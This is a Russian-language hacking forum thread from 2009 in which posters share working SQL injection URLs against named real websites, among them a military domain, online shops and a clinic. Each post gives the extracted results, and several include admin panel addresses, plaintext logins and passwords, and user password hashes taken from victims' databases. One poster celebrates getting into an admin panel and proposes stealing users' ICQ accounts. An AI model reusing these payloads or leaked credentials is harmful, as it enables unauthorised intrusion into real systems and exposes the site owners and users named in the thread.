ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #7751  
Старый 10.02.2009, 18:13
Аватар для Gorev
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944

Репутация: 1550


Отправить сообщение для Gorev с помощью ICQ Отправить сообщение для Gorev с помощью Yahoo
По умолчанию

http://www.vacanta.net/oferte.php?ID=322+UNION+SELECT+1,2,3,4,5,6,7,8,9,A ES_DECRYPT(AES_ENCRYPT(CONCAT_WS(0x3a,Version(),Da tabase(),User()),0x71),0x71),11,12/*&menu=0&Oferta=Decada%20Balneara



Database Version: 4.1.22-log
Database name: vac
User name: trip1@localhost
 
Ответить с цитированием

  #7752  
Старый 10.02.2009, 18:32
Аватар для M.W.N.N.
M.W.N.N.
Участник форума
Регистрация: 05.01.2009
Сообщений: 191
Провел на форуме:
3020589

Репутация: 240
По умолчанию

http://www.tni.mil.id/news.php?cid=INT%27+union+select+1,2,3,4,version() ,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 ,24,25/*

version::5.0.22-LOG
user::TNIMIL@LOCALHOST
database::TNI
 
Ответить с цитированием

  #7753  
Старый 10.02.2009, 19:05
Аватар для Gorev
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944

Репутация: 1550


Отправить сообщение для Gorev с помощью ICQ Отправить сообщение для Gorev с помощью Yahoo
По умолчанию

http://www.cliven.ro/news.php?newsID=1+UNION+SELECT+1,AES_DECRYPT(AES_E NCRYPT(CONCAT_WS(0x3a,Version(),Database(),User()) ,0x71),0x71),3,4,5



Database Version: 5.0.67-community
Database name: cliven_cliven
User name: cliven_office@localhost
 
Ответить с цитированием

  #7754  
Старый 10.02.2009, 19:17
Аватар для TELO
TELO
Познающий
Регистрация: 21.01.2009
Сообщений: 98
Провел на форуме:
227123

Репутация: 122
Отправить сообщение для TELO с помощью ICQ
По умолчанию

Мир путешествий 5-я ветка
Код:
http://worldtravels.dp.ua/news/news_info.php?id=-2005031802%20UNION%20SELECT%201,2,3,passw,login,6,7,8%20%20FROM%20admin%20--
login-pass h7V4c90-ol11SP83
 
Ответить с цитированием

  #7755  
Старый 10.02.2009, 19:46
Аватар для Assembler
Assembler
Участник форума
Регистрация: 01.09.2007
Сообщений: 203
Провел на форуме:
812964

Репутация: 302
Отправить сообщение для Assembler с помощью ICQ
По умолчанию

Можете меня поздравить, моя первая скуля в результате которой оказался в админке =))) (поздравлять через кнопку + шучу)))

Код:
http://british-chinchilla.dp.ua/index.php?lang=1&menu_id=-90%20union%20select%20concat_ws(0x3a,login,password,name,email,Icq)%20from%20access_admins--
Админка
Код:
http://british-chinchilla.dp.ua/admin/
Вот: login ,password ,name ,email
webdesign:4187421:valeria:webdesign@artograph.com. ua
PR 4
ТИц 550

В админке есть доступ к редактированию страниц html редактор =))
В запросе есть еще ICQ так что можно потырить мыльников если у кого аська есть нормальная =))

Последний раз редактировалось Assembler; 10.02.2009 в 19:52..
 
Ответить с цитированием

  #7756  
Старый 10.02.2009, 22:18
Аватар для z00MAN
z00MAN
Постоянный
Регистрация: 20.11.2008
Сообщений: 406
Провел на форуме:
2358980

Репутация: 930
Thumbs up

Код:
http://www.fondazionelibro.it/manifestazioni.php?id=-10+union+select+1,2,3,concat(user(),0x3a,database(),0x3a,version()),5,6,7,8,9,10--
user(): fondazionelibro@localhost
database(): fondazionelibro
version(): 5.0.32-Debian_7etch8-log



Код:
http://www.lazerklinika.ru/?module=publications&id=-10+union+select+1,2,concat(user(),0x3a,version(),0x3a,database()),4,5,6,7--
user(): kolesni2_root@localhost
database(): kolesni2_db
version(): 4.0.27-log



Agenzia Fiorentina per l'Energia
Код:
http://www.firenzenergia.it/primopiano.php?id=-10+union+select+1,concat(version(),0x3a,database(),0x3a,user()),3,4,5,6,7,8--
user(): Sql125363@62.149.141.86
database(): Sql125363_1
version(): 5.0.68-log

таблица phorum_users
Код:
http://www.firenzenergia.it/primopiano.php?id=-10+union+select+1,concat(user_id,0x3a,username,0x3a,password),3,4,5,6,7,8+from+phorum_users+limit+0,1--
user_id:username:рassword
1:root:8a6043643c9681a1f6422ea094103431
2:Francesco Rondoni:fc12e5d66f9d4213ad6b5e2be1c6e2a7
3:Massimo Pepe:c098ff62d9071d69697b5048c6c1c653
4:Tiziano:e4dc459dd55759e17f5095169c77fadb



интернет-магазин спорт товаров
Код:
http://sport-tovari.ru/texts/int.php?id=-10+union+select+1,concat(user(),0x3a,version(),0x3a,database())--
user(): u10475@10.10.153.191
database(): u10475
version(): 5.0.67-log
тИЦ:110

таблица clients
Код:
http://sport-tovari.ru/texts/int.php?id=-10+union+select+1,concat(clientusername,0x3a,clientpassword)+from+clients+limit+0,1--
clientusername:clientpassword
samolet:bowling
sport:tovary
sub7even:gbpltw

Последний раз редактировалось z00MAN; 10.02.2009 в 22:50..
 
Ответить с цитированием

  #7757  
Старый 10.02.2009, 22:25
Аватар для Gorev
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944

Репутация: 1550


Отправить сообщение для Gorev с помощью ICQ Отправить сообщение для Gorev с помощью Yahoo
По умолчанию

http://romanicriss.org/continut_.php?id=-252+UNION+SELECT+1,2,AES_DECRYPT(AES_ENCRYPT(CONCA T_WS(0x3a,Version(),Database(),User()),0x71),0x71) ,4,5,6,7,8,9,10,11,12,13,14&lang=


Database Version: 5.0.67-community
Database name: criss_cr1ss
User name: criss_r0man1@localhost



http://romanicriss.org/admin/login.php

username: aurel19
password: unixunix@@
 
Ответить с цитированием

  #7758  
Старый 11.02.2009, 00:01
Аватар для faza02
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию

Код:
http://www.cultivarnet.com.br/two.php?flag=informe&id=-13+union+select+1,version(),3,4/*
5.0.41--log
 
Ответить с цитированием

  #7759  
Старый 11.02.2009, 00:37
Аватар для faza02
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию

Код:
http://www.atreve-te.pt/inspira-te.php?id=-5+union+select+1,version(),3,4,5,6--
5.0.67-community-log


Код:
http://www.sandrosen.se/te.php?action=prod&id=-101121'+union+select+version(),2/*
5.0.45-community-nt

Код:
http://www.limousin.se/bonlimousin/sidor/linjer/ko.php?id=2092&sid=1&lid=-6+union+select+version()/*
5.0.32-Debian_7etch8-log

Код:
http://www.andhrakaburlu.com/gs.php?id=-92+union+select+1,version(),3,4,5,6/*
5.0.24a-log

Код:
http://www.pjxjz.com/xs.php?id=-140+union+select+1,version()/*
5.0.27-community-nt

Код:
http://www.cplec.com/xs.php?id=-32+union+select+1,version()--
5.0.27-community-nt
 
Ответить с цитированием

  #7760  
Старый 11.02.2009, 01:36
Аватар для 0nThaR
0nThaR
Новичок
Регистрация: 15.05.2008
Сообщений: 27
Провел на форуме:
160558

Репутация: 15
Отправить сообщение для 0nThaR с помощью ICQ
По умолчанию

Код:
http://www.empoweredproducts.com/product_one.php?id=-5+union+select+1,2,3,concat(version(),0x3a,database(),0x3a,user())/*
5.0.45:gunoil_db:empow@localhost

Последний раз редактировалось jokester; 11.02.2009 в 01:40.. Причина: laptopik.ru koleso.topof.ru и zoorinok.com.ua БОЯНЫ
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ